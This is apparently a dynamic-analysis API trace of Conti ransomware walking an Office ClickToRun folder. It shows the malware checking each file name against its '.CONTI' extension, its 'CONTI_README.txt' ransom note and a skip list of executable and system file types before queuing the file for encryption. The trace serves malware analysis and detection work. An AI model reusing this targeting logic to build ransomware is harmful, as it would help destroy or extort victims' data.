	[0098.776] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x17bf538
	[0098.776] lstrcpyW (in: lpString1=0x17bf538, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.776] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.776] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.excelmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml"
	[0098.776] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5ae8) returned 1
	[0098.776] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1
	[0098.776] lstrcmpiW (lpString1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.776] lstrcmpiW (lpString1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.776] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.776] lstrlenW (lpString="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned 50
	[0098.776] GetProcessHeap () returned 0x1720000
	[0098.776] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfc) returned 0x17bf628
	[0098.776] lstrcpyW (in: lpString1=0x17bf628, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.776] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.776] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml"
	[0098.776] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2670) returned 1
	[0098.777] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1
	[0098.777] lstrcmpiW (lpString1="C2RManifest.groovemui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.777] lstrcmpiW (lpString1="C2RManifest.groovemui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.groovemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.777] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.777] lstrlenW (lpString="C2RManifest.groovemui.msi.16.en-us.xml") returned 38
	[0098.777] GetProcessHeap () returned 0x1720000
	[0098.777] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17bf730
	[0098.777] lstrcpyW (in: lpString1=0x17bf730, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.777] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.777] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.groovemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml"
	[0098.777] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d28b8) returned 1
	[0098.777] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1
	[0098.777] lstrcmpiW (lpString1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.777] lstrcmpiW (lpString1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.777] StrStrIW (lpFirst="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.777] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.777] lstrlenW (lpString="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned 46
	[0098.778] GetProcessHeap () returned 0x1720000
	[0098.778] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf4) returned 0x17bf820
	[0098.778] lstrcpyW (in: lpString1=0x17bf820, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml"
	[0098.778] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2b00) returned 1
	[0098.778] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1
	[0098.778] lstrcmpiW (lpString1="C2RManifest.lyncmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.778] lstrcmpiW (lpString1="C2RManifest.lyncmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.lyncmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.778] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.778] lstrlenW (lpString="C2RManifest.lyncmui.msi.16.en-us.xml") returned 36
	[0098.778] GetProcessHeap () returned 0x1720000
	[0098.778] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe0) returned 0x17c3fd8
	[0098.778] lstrcpyW (in: lpString1=0x17c3fd8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.lyncmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml"
	[0098.778] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2f90) returned 1
	[0098.778] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1
	[0098.778] lstrcmpiW (lpString1="C2RManifest.office32mui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.778] lstrcmpiW (lpString1="C2RManifest.office32mui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.778] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.778] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32mui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.779] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.779] lstrlenW (lpString="C2RManifest.office32mui.msi.16.en-us.xml") returned 40
	[0098.779] GetProcessHeap () returned 0x1720000
	[0098.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17bf920
	[0098.779] lstrcpyW (in: lpString1=0x17bf920, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.office32mui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml"
	[0098.779] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4af0) returned 1
	[0098.779] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1
	[0098.779] lstrcmpiW (lpString1="C2RManifest.office32ww.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.779] lstrcmpiW (lpString1="C2RManifest.office32ww.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.779] StrStrIW (lpFirst="C2RManifest.office32ww.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.779] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.779] lstrlenW (lpString="C2RManifest.office32ww.msi.16.x-none.xml") returned 40
	[0098.779] GetProcessHeap () returned 0x1720000
	[0098.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17bfa10
	[0098.779] lstrcpyW (in: lpString1=0x17bfa10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.office32ww.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml"
	[0098.779] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4f80) returned 1
	[0098.779] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1
	[0098.779] lstrcmpiW (lpString1="C2RManifest.officemui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.780] lstrcmpiW (lpString1="C2RManifest.officemui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.780] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.780] lstrlenW (lpString="C2RManifest.officemui.msi.16.en-us.xml") returned 38
	[0098.780] GetProcessHeap () returned 0x1720000
	[0098.780] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17bfb00
	[0098.780] lstrcpyW (in: lpString1=0x17bfb00, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.780] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.780] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.officemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml"
	[0098.780] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4c50) returned 1
